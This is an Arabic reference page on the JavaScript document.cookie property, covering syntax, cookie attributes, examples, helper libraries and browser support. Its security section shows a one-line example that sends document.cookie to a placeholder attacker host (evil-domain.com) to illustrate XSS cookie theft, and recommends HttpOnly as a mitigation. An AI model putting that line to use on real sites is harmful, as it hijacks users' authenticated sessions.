Document.cookie

من موسوعة حسوب

تُستعمل هذه الخاصيّة للحصول على ملفّات الارتباط (cookies) المُرتبطة بالمُستند الحالي وضبطها، للتعامل مع ملفّات الارتباط ببساطة أكثر، انظر إطار العمل البسيط هذا.

البنية العامة

الحصول على جميع ملفّات تعريف الارتباط المتاحة

allCookies = document.cookie;

المُتغيّر allCookies أعلاه عبارة عن سلسلة نصيّة تحتوي على قائمة بجميع ملفات الارتباط مفصولة بفاصلة منقوطة (;)، وهي على شكل مفتاح=قيمة.

ضبط ملفّ ارتباط جديد

document.cookie = newCookie;

في الشيفرة أعلاه، المُتغيّر newCookie عبارة عن سلسلة نصيّة على شكل مفتاح=قيمة. لاحظ أنّك تستطيع أن تضبط أو تُحدّث ملفّ ارتباط واحد فقط في كل مرّة باستعمال هذه الطّريقة. وضَع في ذهنك ما يلي كذلك:

  • يُمكن لأيّ من قيم خصائص ملفّات الارتباط التّالية أن تتبَع اختياريا زوج المفتاح وقيمته، وذلك عبر تحديد ملفّ الارتباط المُرادِ ضبطه أو تحديثه ويجب على قيم الخصائص هذه أن تُسبَق بفاصلة منقوطة كفاصِل:
    • ;path=path (يقبل قيما مثل '/' و'‎/mydir')، إن لم تُحدَّد أيّة قيمة، فقيمته الافتراضيّة هي المسار الحاليّ لمكان المُستند الحاليّ. يجب على المسار أن يكون مُطلقًا (absolute)، انظر RFC 6265. للمزيد من المعلومات حول كيفيّة استعمال المسارات النسبيّة (relative paths)، انظر هذه الفقرة.
    • ;domain=domain (يقبل قيما مثل 'example.com' أو 'subdomain.example.com'). إن لم تحدَّد أيّة قيمة، فقيمته الافتراضيّة هي جزء المُضيف الخاصّ بمكان المُستند الحالي (لا يشمل النّطاقات الفرعيّة). وعلى عكس المُواصفات السّابقة، فالنّقط الأماميّة في أسماء النّطاقات ستُتجاهل، لكنّ المتصفحات قد تمنع ضبط ملفّ ارتباط يحتوي على هذه النّقط. إن حُدِّد النّطاق، فالنّطاقات الفرعيّة دائما ما تكون مشمولة.
    • ;max-age=max-age-in-seconds عدد الثواني التي سيكون فيها ملفّ الارتباط صالحًا، يُمكن أن تكون قيمته مثلا 60*60*24*365 أو 31536000 ليكون ملفّ الارتباط صالحا لسنة واحدة.
    • ;expires=date-in-GMTString-format تُحدّد تاريخ انتهاء صلاحيّة ملفّ الارتباط، إن لم تُضبَط قيمةٍ لأي من expires أو max-age فستنتهي صلاحيّة ملفّ الارتباط في نهاية الجلسة. انظر Date.toUTCString‎() لفهم كيفيّة تحويل تاريخٍ إلى قيمة تُمثِّل التاريخ في توقيت UTC (وهي الصّيغة المطلوبة لهذه الخاصيّة). مُلاحظة: عندما تكون المعلومات الخاصّة بالمُستخدم حسّاسة فمن المهم على تطبيق الويب الخاص بك أن يقوم إزالة صلاحيّة بيانات ملفّ الارتباط بعد مُدّة زمنيّة مُعيّنة، لا يجب أبدا الاعتماد على المُتصفح ليُزيل ملفات الارتباط الخاصّة بالجلسة، إذ بعض المتصفحات تمنع ملفات الارتباط من أن تنتهي صلاحيّتها أبَدِيًّا.
    • ;secure اسمح لملفّ الارتباط أن ينتقل فقط على بروتوكول آمن مثل https.
  • يُمكن للسلسة النصّية التي تُمثّل قيمة ملفّ الارتباط أن تستعمل الـتّابع encodeURIComponent()‎ للتأكد من أنّ السلسلة النّصية لا تحتوي على أية فاصلة أو فاصلة منقوطة أو مساحة بيضاء (والتي تُعتبر قيما غير مسموح بها في قيم ملفّات الارتباط).
  • بعض تطبيقات عملاء المُستخدمين (user agent) تدعم السابِقات التّاليّة لملفّات الارتباط:
    • __Secure-‎ تُخبِر المُتصفح بوجوب وضع ملفّات الارتباط المنقولة على قناة آمنة فقط في الطّلبات.
    • __Host-‎ تُخبِر المُتصفح بأنّ امتداد ملفّ الارتباط محدود في مسار يُمنح من طرف الخادوم إضافة إلى وجوب كون ملفّ الارتباط من أصل آمن. إن لم يمنح الخادوم المسار، فستُستعمل قيمة عنوان URI الخاصّ بمُجلّد الطّلب. وتُخبر كذلك المُتصفحَ بأنّ خاصّية النّطاق domain لا يجب أن تُضبَط، ما يمنع إرسال ملفّ الارتباط إلى نطاق آخر. يجب على خاصّية المسار path أن تُساويَ دائما الأصل مُتصفّح Chrome. مُلاحظة: تُعتبر العارضة (-) جزءا من السّابقة. يُمكن لهذه السّابقات أن تُضبط فقط في حالة ضُبِطت الخاصيّة secure كذلك.

مُلاحظة: كما ترى من الشيفرة أعلاه، الخاصيّة document.cookie عبارة عن خاصيّة وصول (accessor property)، ذات دالة جلب (getter) ودالّة ضبط (setter) مضمّنتين، ما يعني أنّها ليست خاصيّة بيانات (data property) ذات قيمة: أي أنّ ما تكتبُه ليس نفسه ما تقرأه، ويتوسّط مُفسّر جافاسكريبت في كلّ شيء على الدّوام.

أمثلة

المثال الأول: استعمال الخاصيّة ببساطة

document.cookie = "name=oeschger";
document.cookie = "favorite_food=tripe";
function alertCookie() {
  alert(document.cookie);
}
<button onclick="alertCookie()">Show cookies</button>

المثال الثّاني: الحصول على ملفّ ارتباط باسم test2

document.cookie = "test1=Hello";
document.cookie = "test2=World";

var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");

function alertCookieValue() {
  alert(cookieValue);
}
<button onclick="alertCookieValue()">Show cookie value</button>

المثال الثّالث: القيام بعمليّة لمرّة واحدة فقط

لاستعمال الشّيفرة التّالية، تأكّد من إبدال جميع مواضِع اسم ملفّ الارتباط doSomethingOnlyOnce، باسم ملفّ الارتباط الخاص بك.

function doOnce() {
  if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
    alert("Do something here!");
    document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
  }
}
<button onclick="doOnce()">أجرِ عمليّة لمرّة واحدة فقط</button>

المثال الرّابع: أعد ضبط ملفّ الارتباط السّابق

function resetOnce() { 
  document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
}
<button onclick="doOnce()">أعد ضبط ملفّ الارتباط الخاصّ بإجراء عمليّة لمرّة واحدة فقط</button>

المثال الخامس: تحقّق من وجود ملفّ ارتباط

تتحقّق الشّيفرة أسفله من وجود ملفّ ارتباط باسم "reader".

if (document.cookie.split(';').indexOf('reader=') >= 0) {
    console.log('ملفّ الارتباط موجود')
}

المثال السّادس: تحقّق من أنّ ملفّ ارتباط يحمل قيمة مُحدَّدة

تتحقّق الشّيفرة أسفله من أنّ ملفّ الارتباط ذا "reader" يحمل القيمة 1.

if (document.cookie.split(';').indexOf('reader=1') >= 0) {
    console.log('قيمة ملفّ الارتباط هي 1')
}

الحماية

من المُهمّ التنويه إلى أنّ خاصيّة المسار لا تحمي ضدّ قراءة ملفّ الارتباط بشكل غير مُصرَّح به من مسار مُختلف. يُمكن تجاوز هذا القيد بسهولة عبر استخدام خصائص DOM، على سبيل المثال، يُمكن القيام بذلك عبر إنشاء عنصر iframe مخفي بمسار ملفّ الارتباط، ثمّ الوصول إلى خاصيّة contentDocument.cookie الخاصّة بعنصر iframe. الطريقة الوحيدة لحماية ملفّ الارتباط هي باستعمال نطاق مُختلف أو نطاق فرعي، وذلك بسبب سياسَة الأصل الواحد.

تُستعمل ملفّات الارتباط في تطبيقات الويب عادةً للتعرّف على مُستخدم وجلسة الاستيثاق (authenticated session) الخاصّة به. لذا فسرِقة ملفّ الارتباط من تطبيق ويب سيؤدّي إلى اختطاف جلسة المُستخدم الذي سجّل استيثاقه. الطّرق الشّائعة لسرقة ملفّات الارتباط تشمل الهندسة الاجتماعيّة أو عبر استغلال ثغرة XSS في التّطبيق. انظر المثال التّالي:

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

يُمكن تخفيف خطر هذا الهجوم عبر ملفّ الارتباط HTTPOnly عن طريق منع الحصول على قيمة ملفّ الارتباط من خلال جافاسكريبت. للاستزادة، انظر Cookies and Security.

ملاحظات

  • بدءا من فايرفوكس 2، هناك طريقة أفضل لتخزين المعلومات على جهة العميل، وذلك عبر استعمال تخزين DOM.
  • يُمكنك ببساطة حذف ملفّ ارتباط عبر تحديث تاريخ نهاية صلاحيّته إلى صِفر.
  • تذكّر بأنّه كلّما زاد عدد ملفّات الارتباط لديك، كلّما وجَب نقل بياناتٍ أكثر بين الخادوم والعميل لكل طلب. مما سيُبطئ الطّلبات. لذا من المنصوح به جدّا استعمال تخزين DOM إن كانت لديك بيانات تُريد تخزينها على جهة العميل فقط.
  • تُحدّد مواصفة RFC 2965 (الفقرة 5.3) بأنّه لا يجب أن يكون لقيمةِ أو مفتاحِ ملف ارتباطٍ طول أقصى (maximum length)، وتُشجّع كلّ مُتصفح على دعم ملفّات ارتباط كبيرة ذات حجم اعتباطي. الطول الأقصى يكون مُختلفا حسب المُتصفّح، لذا انظر توثيق كلّ متصفّح بشأن هذا الأمر.

سبب البنية العامّة لخاصيّة الوصول document.cookie يرجِع إلى طبيعة ملفّات الارتباط التي تعتمد على صيغة خادوم-عميل، ما يختلف عن طرق تخزين أخرى تعتمد على صيغة عميل-عميل كالتّخزين المحلي (localStorage) مثلا.

يأمر الخادومُ العميلَ بتخزين ملفّ ارتباط

HTTP/1.0 200 OK Content-type: text/html Set-Cookie: cookie_name1=cookie_value1 Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT

[مُحتويات الصّفحة هنا]

يُعيد العميل إرسال ملفّ الارتباط الذي خزّنه مُسبقا إلى الخادوم

GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 Accept: */*

استعمال عناوين URL النّسبية مع المُعامل path

يقبل المُعامل path الخاصّ بملفّ ارتباط جديد المسارات المُطلقة فقط. إن أردت استعمال المسارات النّسبية، فستحتاج إلى تحويلها إلى مسارات مُطلقة. يُمكن للدّالة التّالية ترجمة المسارات النّسبية إلى مسارات مُطلقة. وهي دالة مُتعدّدة الأغراض (أي أنّها ليست متعلّقة بملفات الارتباط فقط)، لكنّك تستطيع استعمالها مع المُعامل path الخاصّ بملفّ ارتباط جديد بنجاح كذلك.

المكتبة

/*\
|*|
|*|  :: Translate relative paths to absolute paths ::
|*|
|*|  https://developer.mozilla.org/en-US/docs/Web/API/document.cookie
|*|  https://developer.mozilla.org/User:fusionchess
|*|
|*|  The following code is released under the GNU Public License, version 3 or later.
|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
|*|
\*/

function relPathToAbs (sRelPath) {
  var nUpLn, sDir = "", sPath = location.pathname.replace(/[^\/]*$/, sRelPath.replace(/(\/|^)(?:\.?\/+)+/g, "$1"));
  for (var nEnd, nStart = 0; nEnd = sPath.indexOf("/../", nStart), nEnd > -1; nStart = nEnd + nUpLn) {
    nUpLn = /^\/(?:\.\.\/)*/.exec(sPath.slice(nEnd))[0].length;
    sDir = (sDir + sPath.substring(nStart, nEnd)).replace(new RegExp("(?:\\\/+[^\\\/]*){0," + ((nUpLn - 1) / 3) + "}$"), "/");
  }
  return sDir + sPath.substr(nStart);
}

طريقة الاستعمال

نفترض أنّنا في المسار ‎/en-US/docs/Web/API/document.cookie، التّعليقات أسفل كلّ استدعاءٍ لنافذة التنبيه تُمثّل القيمة المُعادة.

/* Let us be in /en-US/docs/Web/API/document.cookie */

alert(location.pathname);
// /en-US/docs/Web/API/document.cookie

alert(relPathToAbs("./"));
// /en-US/docs/Web/API/

alert(relPathToAbs("../Guide/API/DOM/Storage"));
// /en-US/docs/Web/Guide/API/DOM/Storage

alert(relPathToAbs("../../Firefox"));
// /en-US/docs/Firefox

alert(relPathToAbs("../Guide/././API/../../../Firefox"));
// /en-US/docs/Firefox

أمثلة أخرى

المثال الخامس: نفّذ عمليّة مرّة واحدة فقط، مكتبة عامّة

المكتبة

function executeOnce () {
  var argc = arguments.length, bImplGlob = typeof arguments[argc - 1] === "string";
  if (bImplGlob) { argc++; }
  if (argc < 3) { throw new TypeError("executeOnce - not enough arguments"); }
  var fExec = arguments[0], sKey = arguments[argc - 2];
  if (typeof fExec !== "function") { throw new TypeError("executeOnce - first argument must be a function"); }
  if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { throw new TypeError("executeOnce - invalid identifier"); }
  if (decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) === "1") { return false; }
  fExec.apply(argc > 3 ? arguments[1] : null, argc > 4 ? Array.prototype.slice.call(arguments, 2, argc - 2) : []);
  document.cookie = encodeURIComponent(sKey) + "=1; expires=Fri, 31 Dec 9999 23:59:59 GMT" + (bImplGlob || !arguments[argc - 1] ? "; path=/" : "");
  return true;
}

البنية العامة

executeOnce(callback[, thisObject[, argumentToPass1[, argumentToPass2[, [, argumentToPassN]]]]], identifier[, onlyHere])

الوصف

تُنفِّذ عمليّةً مرّةً واحدةً فقط، حتى بعد تحديث الصّفحة.

المُعاملات

callback

الدّالة المُراد تنفيذها (function).

thisObject

الكائن this (إمّا Object أو null). وهو مُعامل اختياريّ.

argumentToPass1, argumentToPass2, argumentToPassN

مُعاملات الدّالة callback. وهي مُعاملات اختياريّة.

identifier

المُعرّف الذي يُتحقّق، أي اسم ملفّ الارتباط (string).

onlyHere

قيمة منطقيّة string يُعبّر عمّا إذا كان ملفّ الارتباط سيستعمل المسار المحليّ (أي القيمة true) عوضا عن المسار العمومي (القيمة false أو undefined)، (إمّا boolean أو undefined). وهو مُعامل اختياريّ.

طريقة الاستعمال

function alertSomething (sMsg) {
  alert(sMsg);
}

executeOnce(alertSomething, null, "مرحبًا بالعالم", "alert_something");

دعم المتصفحات

الميزة Chrome Edge Firefox Internet Explorer Opera Safari
الدعم الأساسي نعم نعم نعم نعم نعم نعم
max-age نعم لا نعم لا نعم نعم
السّابقتان ‎__Host-‎ و‎__Secure-‎ 49 ؟ ؟ لا نعم نعم

انظر أيضًا

مصادر ومواصفات